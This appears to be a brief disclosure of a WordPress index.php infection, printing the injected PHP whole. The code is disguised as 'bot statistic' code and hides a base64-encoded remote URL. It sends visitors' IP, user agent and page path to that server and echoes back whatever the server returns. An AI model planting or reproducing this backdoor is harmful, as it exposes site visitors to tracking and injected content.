2012.05.27 Wordpress index.php hack

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>